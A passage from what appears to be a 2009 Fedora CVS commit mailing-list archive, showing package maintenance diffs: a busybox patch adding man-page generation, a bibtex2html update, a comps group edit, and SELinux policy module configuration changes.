+* Fri Oct  2 2009 Denys Vlasenko <dvlasenk at redhat.com> - 1:1.15.1-2
+- add manpage generation (#525658)
+
 * Sun Sep 13 2009 Denys Vlasenko <dvlasenk at redhat.com> - 1:1.15.1-1
 - Rebase to 1.15.1
 



From vda at fedoraproject.org  Fri Oct  2 14:56:54 2009
From: vda at fedoraproject.org (Denys Vlasenko)
Date: Fri,  2 Oct 2009 14:56:54 +0000 (UTC)
Subject: rpms/busybox/F-12 busybox-1.15.1-man.patch, NONE, 1.1 busybox.spec, 
	1.102, 1.103
Message-ID: <20091002145654.46B7311C00C1@cvs1.fedora.phx.redhat.com>

Author: vda

Update of /cvs/extras/rpms/busybox/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31711

Modified Files:
	busybox.spec 
Added Files:
	busybox-1.15.1-man.patch 
Log Message:
* Fri Oct  2 2009 Denys Vlasenko <dvlasenk at redhat.com> - 1:1.15.1-2
- add manpage generation (#525658)



busybox-1.15.1-man.patch:
 Makefile.custom         |   18 ++++----
 applets/Kbuild          |    9 ++--
 applets/applet_tables.c |   21 +++++-----
 applets/usage.c         |   14 +++---
 applets/usage_pod.c     |  100 ++++++++++++++++++++++++++++++++++++++++++++++++
 docs/busybox_footer.pod |    8 +--
 include/usage.h         |   84 ++++++++++++++++++++--------------------
 7 files changed, 180 insertions(+), 74 deletions(-)

--- NEW FILE busybox-1.15.1-man.patch ---
diff -urpN busybox-1.15.1/applets/applet_tables.c busybox-1.15.1-man/applets/applet_tables.c
--- busybox-1.15.1/applets/applet_tables.c	2009-09-12 17:55:36.000000000 +0200
+++ busybox-1.15.1-man/applets/applet_tables.c	2009-10-02 13:18:39.922816035 +0200
@@ -70,29 +70,32 @@ int main(int argc, char **argv)
 
 	/* Keep in sync with include/busybox.h! */
 
-	puts("/* This is a generated file, don't edit */\n");
+	printf("/* This is a generated file, don't edit */\n\n");
 
 	printf("#define NUM_APPLETS %u\n", NUM_APPLETS);
 	if (NUM_APPLETS == 1) {
 		printf("#define SINGLE_APPLET_STR \"%s\"\n", applets[0].name);
 		printf("#define SINGLE_APPLET_MAIN %s_main\n", applets[0].name);
 	}
+	printf("\n");
 
-	puts("\nconst char applet_names[] ALIGN1 = \"\"");
+	printf("const char applet_names[] ALIGN1 = \"\"\n");
 	for (i = 0; i < NUM_APPLETS; i++) {
 		printf("\"%s\" \"\\0\"\n", applets[i].name);
 		if (MAX_APPLET_NAME_LEN < strlen(applets[i].name))
 			MAX_APPLET_NAME_LEN = strlen(applets[i].name);
 	}
-	puts(";");
+	printf(";\n\n");
 
-	puts("\nint (*const applet_main[])(int argc, char **argv) = {");
+	printf("#ifndef SKIP_applet_main\n");
+	printf("int (*const applet_main[])(int argc, char **argv) = {\n");
 	for (i = 0; i < NUM_APPLETS; i++) {
 		printf("%s_main,\n", applets[i].main);
 	}
-	puts("};");
+	printf("};\n");
+	printf("#endif\n\n");
 
-	puts("const uint16_t applet_nameofs[] ALIGN2 = {");
+	printf("const uint16_t applet_nameofs[] ALIGN2 = {\n");
 	for (i = 0; i < NUM_APPLETS; i++) {
 		printf("0x%04x,\n",
 			offset[i]
@@ -105,10 +108,10 @@ int main(int argc, char **argv)
 #endif
 		);
 	}
-	puts("};");
+	printf("};\n\n");
 
 #if ENABLE_FEATURE_INSTALLER
-	puts("const uint8_t applet_install_loc[] ALIGN1 = {");
+	printf("const uint8_t applet_install_loc[] ALIGN1 = {\n");
 	i = 0;
 	while (i < NUM_APPLETS) {
 		int v = applets[i].install_loc; /* 3 bits */
@@ -117,7 +120,7 @@ int main(int argc, char **argv)
 		printf("0x%02x,\n", v);
 		i++;
 	}
-	puts("};\n");
+	printf("};\n\n");
 #endif
 
 	printf("#define MAX_APPLET_NAME_LEN %u\n", MAX_APPLET_NAME_LEN);
diff -urpN busybox-1.15.1/applets/Kbuild busybox-1.15.1-man/applets/Kbuild
--- busybox-1.15.1/applets/Kbuild	2009-09-12 17:55:36.000000000 +0200
+++ busybox-1.15.1-man/applets/Kbuild	2009-10-02 13:18:39.922816035 +0200
@@ -8,7 +8,7 @@ obj-y :=
 obj-y += applets.o
 
 hostprogs-y:=
-hostprogs-y += usage applet_tables
+hostprogs-y += usage usage_pod applet_tables
 
 always:= $(hostprogs-y)
 
@@ -22,13 +22,14 @@ else
 srctree_slash = $(srctree)/
 endif
 
-
-HOSTCFLAGS_usage.o = -I$(srctree_slash)include
+HOSTCFLAGS_usage.o = -I$(srctree_slash)include -Iinclude
+HOSTCFLAGS_usage_pod.o = -I$(srctree_slash)include -Iinclude
 
 applets/applets.o: include/usage_compressed.h include/applet_tables.h
 
-applets/usage:         .config $(srctree_slash)applets/usage_compressed
 applets/applet_tables: .config
+applets/usage:         .config
+applets/usage_pod:     .config include/applet_tables.h
 
 quiet_cmd_gen_usage_compressed = GEN     include/usage_compressed.h
       cmd_gen_usage_compressed = $(srctree_slash)applets/usage_compressed include/usage_compressed.h applets
diff -urpN busybox-1.15.1/applets/usage.c busybox-1.15.1-man/applets/usage.c
--- busybox-1.15.1/applets/usage.c	2009-09-12 17:55:36.000000000 +0200
+++ busybox-1.15.1-man/applets/usage.c	2009-10-02 13:18:39.938521264 +0200
@@ -8,17 +8,17 @@
 
 /* Just #include "autoconf.h" doesn't work for builds in separate
  * object directory */
-#include "../include/autoconf.h"
+#include "autoconf.h"
 
 /* Since we can't use platform.h, have to do this again by hand: */
 #if ENABLE_NOMMU
-#define BB_MMU 0
-#define USE_FOR_NOMMU(...) __VA_ARGS__
-#define USE_FOR_MMU(...)
+# define BB_MMU 0
+# define USE_FOR_NOMMU(...) __VA_ARGS__
+# define USE_FOR_MMU(...)
 #else
-#define BB_MMU 1
-#define USE_FOR_NOMMU(...)
-#define USE_FOR_MMU(...) __VA_ARGS__
+# define BB_MMU 1
+# define USE_FOR_NOMMU(...)
+# define USE_FOR_MMU(...) __VA_ARGS__
 #endif
 
 static const char usage_messages[] = ""
diff -urpN busybox-1.15.1/applets/usage_pod.c busybox-1.15.1-man/applets/usage_pod.c
--- busybox-1.15.1/applets/usage_pod.c	1970-01-01 01:00:00.000000000 +0100
+++ busybox-1.15.1-man/applets/usage_pod.c	2009-10-02 13:18:39.938783174 +0200
@@ -0,0 +1,100 @@
+/* vi: set sw=4 ts=4: */
+/*
+ * Copyright (C) 2009 Denys Vlasenko.
+ *
+ * Licensed under GPLv2, see file LICENSE in this tarball for details.
+ */
+#include <unistd.h>
+#include <stdint.h>
+#include <string.h>
+#include <stdio.h>
+
+/* Just #include "autoconf.h" doesn't work for builds in separate
+ * object directory */
+#include "autoconf.h"
+
+#define SKIP_applet_main
+#define ALIGN1 /* nothing, just to placate applet_tables.h */
+#define ALIGN2 /* nothing, just to placate applet_tables.h */
+#include "applet_tables.h"
+
+/* Since we can't use platform.h, have to do this again by hand: */
+#if ENABLE_NOMMU
+# define BB_MMU 0
+# define USE_FOR_NOMMU(...) __VA_ARGS__
+# define USE_FOR_MMU(...)
+#else
+# define BB_MMU 1
+# define USE_FOR_NOMMU(...)
+# define USE_FOR_MMU(...) __VA_ARGS__
+#endif
+
+static const char usage_messages[] = ""
+#define MAKE_USAGE
+#include "usage.h"
+#include "applets.h"
+;
+
+int main(void)
+{
+	const char *names;
+	const char *usage;
+	int col, len2;
+
+	col = 0;
+	names = applet_names;
+	while (*names) {
+		len2 = strlen(names) + 2;
+		if (col >= 76 - len2) {
+			printf(",\n");
+			col = 0;
+		}
+		if (col == 0) {
+			col = 6;
+			printf("\t");
+		} else {
+			printf(", ");
+		}
+		printf(names);
+		col += len2;
+		names += len2 - 1;
+	}
+	printf("\n\n");
+
+	printf("=head1 COMMAND DESCRIPTIONS\n\n");
+	printf("=over 4\n\n");
+
+	names = applet_names;
+	usage = usage_messages;
+	while (*names) {
+		if (*names >= 'a' && *names <= 'z'
+		 && *usage != NOUSAGE_STR[0]
+		) {
+			printf("=item B<%s>\n\n", names);
+			if (*usage)
+				printf("%s %s\n\n", names, usage);
+			else
+				printf("%s\n\n", names);
+		}
+		names += strlen(names) + 1;
+		usage += strlen(usage) + 1;
+	}
+	return 0;
+}
+
+/* TODO: we used to make options bold with B<> and output an example too:
+
+=item B<cat>
+
+cat [B<-u>] [FILE]...
+
+Concatenate FILE(s) and print them to stdout
+
+Options:
+        -u      Use unbuffered i/o (ignored)
+
+Example:
+        $ cat /proc/uptime
+        110716.72 17.67
+
+*/
diff -urpN busybox-1.15.1/docs/busybox_footer.pod busybox-1.15.1-man/docs/busybox_footer.pod
--- busybox-1.15.1/docs/busybox_footer.pod	2009-09-12 17:55:58.000000000 +0200
+++ busybox-1.15.1-man/docs/busybox_footer.pod	2009-10-02 13:19:05.299823185 +0200
@@ -39,7 +39,7 @@ incorect, please send in an update.
 =for html <br>
 
 Emanuele Aina <emanuele.aina at tiscali.it>
-	run-parts
+    run-parts
 
 =for html <br>
 
@@ -97,7 +97,7 @@ Dave Cinege <dcinege at psychosis.com>
 
 Jordan Crouse <jordan at cosmicpenguin.net>
 
-	ipcalc
+    ipcalc
 
 =for html <br>
 
@@ -146,7 +146,7 @@ Matt Kraai <kraai at alumni.cmu.edu>
 
 Stephan Linz <linz at li-pro.net>
 
-	ipcalc, Red Hat equivalence
+    ipcalc, Red Hat equivalence
 
 =for html <br>
 
@@ -250,7 +250,7 @@ Enrique Zanardi <ezanardi at ull.es>
 
 Tito Ragusa <farmatito at tiscali.it>
 
-	devfsd and size optimizations in strings, openvt and deallocvt.
+    devfsd and size optimizations in strings, openvt and deallocvt.
 
 =cut
 
diff -urpN busybox-1.15.1/include/usage.h busybox-1.15.1-man/include/usage.h
--- busybox-1.15.1/include/usage.h	2009-09-12 17:55:58.000000000 +0200
+++ busybox-1.15.1-man/include/usage.h	2009-10-02 13:19:05.316036588 +0200
@@ -48,7 +48,7 @@
      "\n	-h DIR		Home directory" \
      "\n	-g GECOS	GECOS field" \
      "\n	-s SHELL	Login shell" \
-     "\n	-G GROUP	Add user to existing group" \
+     "\n	-G GRP		Add user to existing group" \
      "\n	-S		Create a system user" \
      "\n	-D		Do not assign a password" \
      "\n	-H		Do not create home directory" \
@@ -690,7 +690,7 @@
      "\n	-D FMT		Use FMT for -d TIME conversion" \
 	) \
      "\n" \
-     "\nRecognized formats for TIME:" \
+     "\nRecognized TIME formats:" \
      "\n	hh:mm[:ss]" \
      "\n	[YYYY.]MM.DD-hh:mm[:ss]" \
      "\n	YYYY-MM-DD hh:mm[:ss]" \
@@ -1190,12 +1190,12 @@
 #define blkid_trivial_usage \
        ""
 #define blkid_full_usage "\n\n" \
-       "Print UUIDs of all filesystems."
+       "Print UUIDs of all filesystems"
 
 #define findfs_trivial_usage \
        "LABEL=label or UUID=uuid"
 #define findfs_full_usage "\n\n" \
-       "Find a filesystem device based on a label or UUID."
+       "Find a filesystem device based on a label or UUID"
 #define findfs_example_usage \
        "$ findfs LABEL=MyDevice"
 
@@ -3134,22 +3134,22 @@
 #define nmeter_full_usage "\n\n" \
        "Monitor system in real time\n\n" \
        "Format specifiers:\n" \
-       "%Nc or %[cN]	Monitor CPU. N - bar size, default 10\n" \
+       " %Nc or %[cN]	Monitor CPU. N - bar size, default 10\n" \
        "		(displays: S:system U:user N:niced D:iowait I:irq i:softirq)\n" \
-       "%[niface]	Monitor network interface 'iface'\n" \
-       "%m		Monitor allocated memory\n" \
-       "%[mf]		Monitor free memory\n" \
-       "%[mt]		Monitor total memory\n" \
-       "%s		Monitor allocated swap\n" \
-       "%f		Monitor number of used file descriptors\n" \
-       "%Ni		Monitor total/specific IRQ rate\n" \
-       "%x		Monitor context switch rate\n" \
-       "%p		Monitor forks\n" \
-       "%[pn]		Monitor # of processes\n" \
-       "%b		Monitor block io\n" \
-       "%Nt		Show time (with N decimal points)\n" \
-       "%Nd		Milliseconds between updates (default:1000)\n" \
-       "%r		Print <cr> instead of <lf> at EOL" \
+       " %[niface]	Monitor network interface 'iface'\n" \
+       " %m		Monitor allocated memory\n" \
+       " %[mf]		Monitor free memory\n" \
+       " %[mt]		Monitor total memory\n" \
+       " %s		Monitor allocated swap\n" \
+       " %f		Monitor number of used file descriptors\n" \
+       " %Ni		Monitor total/specific IRQ rate\n" \
+       " %x		Monitor context switch rate\n" \
+       " %p		Monitor forks\n" \
+       " %[pn]		Monitor # of processes\n" \
+       " %b		Monitor block io\n" \
+       " %Nt		Show time (with N decimal points)\n" \
+       " %Nd		Milliseconds between updates (default:1000)\n" \
+       " %r		Print <cr> instead of <lf> at EOL" \
 
 #define nmeter_example_usage \
        "nmeter '%250d%t %20c int %i bio %b mem %m forks%p'"
@@ -4475,35 +4475,35 @@
 #define tcpsvd_full_usage "\n\n" \
        "Create TCP socket, bind  to IP:PORT and listen\n" \
        "for incoming connection. Run PROG for each connection.\n" \
-     "\nIP		IP to listen on. '0' = all" \
-     "\nPORT		Port to listen on" \
-     "\nPROG [ARGS]	Program to run" \
-     "\n-l NAME		Local hostname (else looks up local hostname in DNS)" \
-     "\n-u USER[:GROUP]	Change to user/group after bind" \
-     "\n-c N		Handle up to N connections simultaneously" \
-     "\n-b N		Allow a backlog of approximately N TCP SYNs" \
-     "\n-C N[:MSG]	Allow only up to N connections from the same IP" \
-     "\n		New connections from this IP address are closed" \
-     "\n		immediately. MSG is written to the peer before close" \
-     "\n-h		Look up peer's hostname" \
-     "\n-E		Do not set up environment variables" \
-     "\n-v		Verbose" \
+     "\n	IP		IP to listen on. '0' = all" \
+     "\n	PORT		Port to listen on" \
+     "\n	PROG [ARGS]	Program to run" \
+     "\n	-l NAME		Local hostname (else looks up local hostname in DNS)" \
+     "\n	-u USER[:GRP]	Change to user/group after bind" \
+     "\n	-c N		Handle up to N connections simultaneously" \
+     "\n	-b N		Allow a backlog of approximately N TCP SYNs" \
+     "\n	-C N[:MSG]	Allow only up to N connections from the same IP" \
+     "\n			New connections from this IP address are closed" \
+     "\n			immediately. MSG is written to the peer before close" \
+     "\n	-h		Look up peer's hostname" \
+     "\n	-E		Do not set up environment variables" \
+     "\n	-v		Verbose" \
 
 #define udpsvd_trivial_usage \
        "[-hEv] [-c N] [-u USER] [-l NAME] IP PORT PROG"
 #define udpsvd_full_usage "\n\n" \
        "Create UDP socket, bind to IP:PORT and wait\n" \
        "for incoming packets. Run PROG for each packet,\n" \
-       "redirecting all further packets with same peer ip:port to it\n" \
-     "\nIP		IP to listen on. '0' = all" \
-     "\nPORT		Port to listen on" \
-     "\nPROG [ARGS]	Program to run" \
-     "\n-l NAME		Local hostname (else looks up local hostname in DNS)" \
-     "\n-u USER[:GROUP]	Change to user/group after bind" \
-     "\n-c N		Handle up to N connections simultaneously" \
-     "\n-h		Look up peer's hostname" \
-     "\n-E		Do not set up environment variables" \
-     "\n-v		Verbose" \
+       "redirecting all further packets with same peer ip:port to it.\n" \
+     "\n	IP		IP to listen on. '0' = all" \
+     "\n	PORT		Port to listen on" \
+     "\n	PROG [ARGS]	Program to run" \
+     "\n	-l NAME		Local hostname (else looks up local hostname in DNS)" \
+     "\n	-u USER[:GRP]	Change to user/group after bind" \
+     "\n	-c N		Handle up to N connections simultaneously" \
+     "\n	-h		Look up peer's hostname" \
+     "\n	-E		Do not set up environment variables" \
+     "\n	-v		Verbose" \
 
 #define tftp_trivial_usage \
        "[OPTIONS] HOST [PORT]"
diff -urpN busybox-1.15.1/Makefile.custom busybox-1.15.1-man/Makefile.custom
--- busybox-1.15.1/Makefile.custom	2009-09-12 17:55:36.000000000 +0200
+++ busybox-1.15.1-man/Makefile.custom	2009-10-02 13:19:05.317035267 +0200
@@ -111,15 +111,19 @@ doc: docs/busybox.pod docs/BusyBox.txt d
 silent_cmd_doc =
 disp_doc       = $($(quiet)cmd_doc)
 
+# sed adds newlines after "Options:" etc,
+# this is needed in order to get good BusyBox.{1,txt,html}
 docs/busybox.pod: $(srctree)/docs/busybox_header.pod \
 		$(srctree)/include/usage.h \
 		$(srctree)/docs/busybox_footer.pod \
-		$(srctree)/docs/autodocifier.pl
+		applets/usage_pod
 	$(disp_doc)
 	$(Q)-mkdir -p docs
-	$(Q)-( cat $(srctree)/docs/busybox_header.pod ; \
-	    $(srctree)/docs/autodocifier.pl $(srctree)/include/usage.h ; \
-	    cat $(srctree)/docs/busybox_footer.pod ; ) > docs/busybox.pod
+	$(Q)-( \
+	    cat $(srctree)/docs/busybox_header.pod; \
+	    applets/usage_pod | sed 's/^[A-Za-z][A-Za-z ]*[a-z]:$$/&\n/'; \
+	    cat $(srctree)/docs/busybox_footer.pod; \
+	    ) > docs/busybox.pod
 
 docs/BusyBox.txt: docs/busybox.pod
 	$(disp_doc)
@@ -129,8 +133,7 @@ docs/BusyBox.txt: docs/busybox.pod
 docs/BusyBox.1: docs/busybox.pod
 	$(disp_doc)
 	$(Q)-mkdir -p docs
-	$(Q)-pod2man --center=BusyBox --release="version $(VERSION)" \
-		$< > $@
+	$(Q)-pod2man --center=BusyBox --release="version $(KERNELVERSION)" $< > $@
 
 docs/BusyBox.html: docs/busybox.net/BusyBox.html
 	$(disp_doc)
@@ -140,8 +143,7 @@ docs/BusyBox.html: docs/busybox.net/Busy
 
 docs/busybox.net/BusyBox.html: docs/busybox.pod
 	$(Q)-mkdir -p docs/busybox.net
-	$(Q)-pod2html --noindex $< > \
-	    docs/busybox.net/BusyBox.html
+	$(Q)-pod2html --noindex $< > $@
 	$(Q)-rm -f pod2htm*
 
 # documentation, cross-reference


Index: busybox.spec
===================================================================
RCS file: /cvs/extras/rpms/busybox/F-12/busybox.spec,v
retrieving revision 1.102
retrieving revision 1.103
diff -u -p -r1.102 -r1.103
--- busybox.spec	13 Sep 2009 00:26:45 -0000	1.102
+++ busybox.spec	2 Oct 2009 14:56:54 -0000	1.103
@@ -1,7 +1,7 @@
 Summary: Statically linked binary providing simplified versions of system commands
 Name: busybox
 Version: 1.15.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 Epoch: 1
 License: GPLv2
 Group: System Environment/Shells
@@ -13,6 +13,7 @@ Source4: uClibc.config
 Patch16: busybox-1.10.1-hwclock.patch
 # patch to avoid conflicts with getline() from stdio.h, already present in upstream VCS
 Patch22: uClibc-0.9.30.1-getline.patch
+Patch23: busybox-1.15.1-man.patch
 Obsoletes: busybox-anaconda
 URL: http://www.busybox.net
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -46,6 +47,7 @@ better suited to normal use.
 %patch16 -b .ia64 -p1
 cat %{SOURCE4} >uClibc-0.9.30.1/.config1
 %patch22 -b .getline -p1
+%patch23 -b .man -p1
 
 %build
 # create static busybox - the executable is kept as busybox-static
@@ -88,6 +90,7 @@ else \
     make V=1 CC="gcc $RPM_OPT_FLAGS"; \
 fi
 cp busybox busybox.static
+cp docs/BusyBox.1 docs/busybox.static.1
 
 # create busybox optimized for petitboot
 make clean
@@ -97,12 +100,16 @@ cp %{SOURCE2} .config
 yes "" | make oldconfig
 make V=1 CC="%__cc $RPM_OPT_FLAGS"
 cp busybox busybox.petitboot
+cp docs/BusyBox.1 docs/busybox.petitboot.1
 
 %install
 rm -rf $RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT/sbin
 install -m 755 busybox.static $RPM_BUILD_ROOT/sbin/busybox
 install -m 755 busybox.petitboot $RPM_BUILD_ROOT/sbin/busybox.petitboot
+mkdir -p $RPM_BUILD_ROOT/%{_mandir}/man1
+install -m 644 docs/busybox.static.1 $RPM_BUILD_ROOT/%{_mandir}/man1/busybox.1
+install -m 644 docs/busybox.petitboot.1 $RPM_BUILD_ROOT/%{_mandir}/man1/busybox.petitboot.1
 
 %clean
 rm -rf $RPM_BUILD_ROOT
@@ -111,13 +118,18 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %doc LICENSE docs/busybox.net/*.html
 /sbin/busybox
+%{_mandir}/man1/busybox.1.gz
 
 %files petitboot
 %defattr(-,root,root,-)
 %doc LICENSE
 /sbin/busybox.petitboot
+%{_mandir}/man1/busybox.petitboot.1.gz
 
 %changelog
+* Fri Oct  2 2009 Denys Vlasenko <dvlasenk at redhat.com> - 1:1.15.1-2
+- add manpage generation (#525658)
+
 * Sun Sep 13 2009 Denys Vlasenko <dvlasenk at redhat.com> - 1:1.15.1-1
 - Rebase to 1.15.1
 



From guidograzioli at fedoraproject.org  Fri Oct  2 15:00:41 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Fri,  2 Oct 2009 15:00:41 +0000 (UTC)
Subject: rpms/bibtex2html/F-11 .cvsignore, 1.2, 1.3 bibtex2html.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091002150041.865C911C0337@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/bibtex2html/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv452

Modified Files:
	.cvsignore bibtex2html.spec sources 
Log Message:
Update to 1.94


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/bibtex2html/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	9 May 2009 22:14:19 -0000	1.2
+++ .cvsignore	2 Oct 2009 15:00:41 -0000	1.3
@@ -1 +1 @@
-bibtex2html-1.93.tar.gz
+bibtex2html-1.94.tar.gz


Index: bibtex2html.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bibtex2html/F-11/bibtex2html.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bibtex2html.spec	9 May 2009 22:14:20 -0000	1.1
+++ bibtex2html.spec	2 Oct 2009 15:00:41 -0000	1.2
@@ -3,8 +3,8 @@
 %global debug_package %{nil}
 
 Name:           bibtex2html
-Version:        1.93
-Release:        3%{?dist}
+Version:        1.94
+Release:        1%{?dist}
 Summary:        Collection of tools for translating from BibTeX to HTML
 
 Group:          Applications/Publishing
@@ -21,6 +21,7 @@ BuildRequires:  tex(latex)
 BuildRequires:  hevea
 %endif
 
+ExcludeArch: sparc64 s390 s390x
 
 %description
 bibtex2html is a collection of tools for translating from BibTeX to HTML. 
@@ -66,10 +67,21 @@ rm -rf %{buildroot}
 %{_bindir}/*
 
 %changelog
+* Fri Oct 02 2009 Guido Grazioli <guido.grazioli at gmail.com> - 1.94-1
+- Upstream 1.94
+
+* Tue Sep 22 2009 Dennis Gilmore <dennis at ausil.us> - 1.93-5
+- ExcludeArch sparc64 s390 s390x
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.93-4
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Mar 19 2009 Guido Grazioli <guido.grazioli at gmail.com> 1.93-3
 - added manual (no html on ppc64 until hevea available)
+
 * Wed Mar 18 2009 Guido Grazioli <guido.grazioli at gmail.com> 1.93-2
 - sanitized charset conversion
 - added smp make flags
+
 * Tue Mar 17 2009 Guido Grazioli <guido.grazioli at gmail.com> 1.93-1
 - initial packaging


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/bibtex2html/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	9 May 2009 22:14:20 -0000	1.2
+++ sources	2 Oct 2009 15:00:41 -0000	1.3
@@ -1 +1 @@
-64657c791a29b873467b20bad9705983  bibtex2html-1.93.tar.gz
+16e6656156e10c07747163a0914058b8  bibtex2html-1.94.tar.gz



From rdieter at fedoraproject.org  Fri Oct  2 15:00:48 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Fri,  2 Oct 2009 15:00:48 +0000 (UTC)
Subject: comps comps-f12.xml.in,1.140,1.141 comps-f13.xml.in,1.31,1.32
Message-ID: <20091002150048.E1ABF11C0337@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv413

Modified Files:
	comps-f12.xml.in comps-f13.xml.in 
Log Message:
-PolicyKit-kde (deadpackage)



Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f12.xml.in,v
retrieving revision 1.140
retrieving revision 1.141
diff -u -p -r1.140 -r1.141
--- comps-f12.xml.in	1 Oct 2009 13:31:02 -0000	1.140
+++ comps-f12.xml.in	2 Oct 2009 15:00:48 -0000	1.141
@@ -3658,7 +3658,6 @@
       <packagereq type="default">ktorrent</packagereq>
       <packagereq type="default">NetworkManager-gnome</packagereq>
       <packagereq type="default">pinentry-qt</packagereq>
-      <packagereq type="default">PolicyKit-kde</packagereq>
       <packagereq type="default">polkit-gnome</packagereq>
       <packagereq type="default">scribus</packagereq>
       <packagereq type="default">system-config-printer-kde</packagereq>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/pkgs/comps/comps-f13.xml.in,v
retrieving revision 1.31
retrieving revision 1.32
diff -u -p -r1.31 -r1.32
--- comps-f13.xml.in	1 Oct 2009 17:24:13 -0000	1.31
+++ comps-f13.xml.in	2 Oct 2009 15:00:48 -0000	1.32
@@ -3629,7 +3629,6 @@
       <packagereq type="default">ktorrent</packagereq>
       <packagereq type="default">NetworkManager-gnome</packagereq>
       <packagereq type="default">pinentry-qt</packagereq>
-      <packagereq type="default">PolicyKit-kde</packagereq>
       <packagereq type="default">scribus</packagereq>
       <packagereq type="default">system-config-printer-kde</packagereq>
       <packagereq type="default">xsettings-kde</packagereq>



From dwalsh at fedoraproject.org  Fri Oct  2 15:01:07 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri,  2 Oct 2009 15:01:07 +0000 (UTC)
Subject: rpms/selinux-policy/F-12 modules-minimum.conf, 1.37,
	1.38 modules-targeted.conf, 1.146, 1.147 policy-F12.patch, 1.99, 1.100
Message-ID: <20091002150107.ABE8D11C0337@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/selinux-policy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv554

Modified Files:
	modules-minimum.conf modules-targeted.conf policy-F12.patch 
Log Message:
* Fri Oct 2 2009 Dan Walsh <dwalsh at redhat.com> 3.6.32-19
- Add labeling for /var/run/kdm



Index: modules-minimum.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-minimum.conf,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- modules-minimum.conf	2 Oct 2009 13:36:22 -0000	1.37
+++ modules-minimum.conf	2 Oct 2009 15:01:06 -0000	1.38
@@ -728,6 +728,13 @@ jabber = module
 # 
 java = module
 
+# Layer: apps
+# Module: execmem
+#
+# execmem executable
+# 
+execmem = module
+
 # Layer: system
 # Module: kdump
 #


Index: modules-targeted.conf
===================================================================
RCS file: /cvs/extras/rpms/selinux-policy/F-12/modules-targeted.conf,v
retrieving revision 1.146
retrieving revision 1.147
diff -u -p -r1.146 -r1.147
--- modules-targeted.conf	2 Oct 2009 13:36:22 -0000	1.146
+++ modules-targeted.conf	2 Oct 2009 15:01:06 -0000	1.147
@@ -728,6 +728,13 @@ jabber = module
 # 
 java = module
 
+# Layer: apps
+# Module: execmem
+#
+# execmem executable
+# 
+execmem = module
+
 # Layer: system
 # Module: kdump
 #

policy-F12.patch:
 Makefile                                  |    2 
 policy/flask/access_vectors               |    1 
 policy/global_tunables                    |   24 
 policy/mcs                                |   10 
 policy/modules/admin/anaconda.te          |    3 
 policy/modules/admin/brctl.te             |    2 
 policy/modules/admin/certwatch.te         |    2 
 policy/modules/admin/dmesg.fc             |    2 
 policy/modules/admin/dmesg.te             |    7 
 policy/modules/admin/firstboot.te         |    6 
 policy/modules/admin/logrotate.te         |   13 
 policy/modules/admin/logwatch.te          |    1 
 policy/modules/admin/mrtg.te              |    1 
 policy/modules/admin/netutils.te          |    1 
 policy/modules/admin/ntop.fc              |    5 
 policy/modules/admin/ntop.if              |  158 +++
 policy/modules/admin/ntop.pp              |binary
 policy/modules/admin/ntop.te              |   40 
 policy/modules/admin/portage.te           |    2 
 policy/modules/admin/prelink.if           |    4 
 policy/modules/admin/prelink.te           |    1 
 policy/modules/admin/readahead.te         |    1 
 policy/modules/admin/rpm.fc               |   18 
 policy/modules/admin/rpm.if               |  264 +++++
 policy/modules/admin/rpm.te               |   95 +-
 policy/modules/admin/shorewall.if         |   40 
 policy/modules/admin/shorewall.te         |    2 
 policy/modules/admin/smoltclient.fc       |    4 
 policy/modules/admin/smoltclient.if       |    1 
 policy/modules/admin/smoltclient.te       |   67 +
 policy/modules/admin/sudo.if              |   13 
 policy/modules/admin/tmpreaper.te         |    4 
 policy/modules/admin/tzdata.te            |    2 
 policy/modules/admin/usermanage.if        |    5 
 policy/modules/admin/usermanage.te        |   31 
 policy/modules/admin/vbetool.te           |   16 
 policy/modules/admin/vpn.te               |    1 
 policy/modules/apps/calamaris.te          |    7 
 policy/modules/apps/chrome.fc             |    2 
 policy/modules/apps/chrome.if             |   85 +
 policy/modules/apps/chrome.te             |   57 +
 policy/modules/apps/cpufreqselector.te    |    2 
 policy/modules/apps/execmem.fc            |   27 
 policy/modules/apps/execmem.if            |   70 +
 policy/modules/apps/execmem.te            |   11 
 policy/modules/apps/firewallgui.fc        |    3 
 policy/modules/apps/firewallgui.if        |    3 
 policy/modules/apps/firewallgui.te        |   63 +
 policy/modules/apps/gitosis.if            |   45 
 policy/modules/apps/gnome.fc              |   12 
 policy/modules/apps/gnome.if              |  170 +++
 policy/modules/apps/gnome.te              |   99 ++
 policy/modules/apps/gpg.te                |   20 
 policy/modules/apps/java.fc               |   18 
 policy/modules/apps/java.if               |  111 ++
 policy/modules/apps/java.te               |   14 
 policy/modules/apps/kdumpgui.fc           |    2 
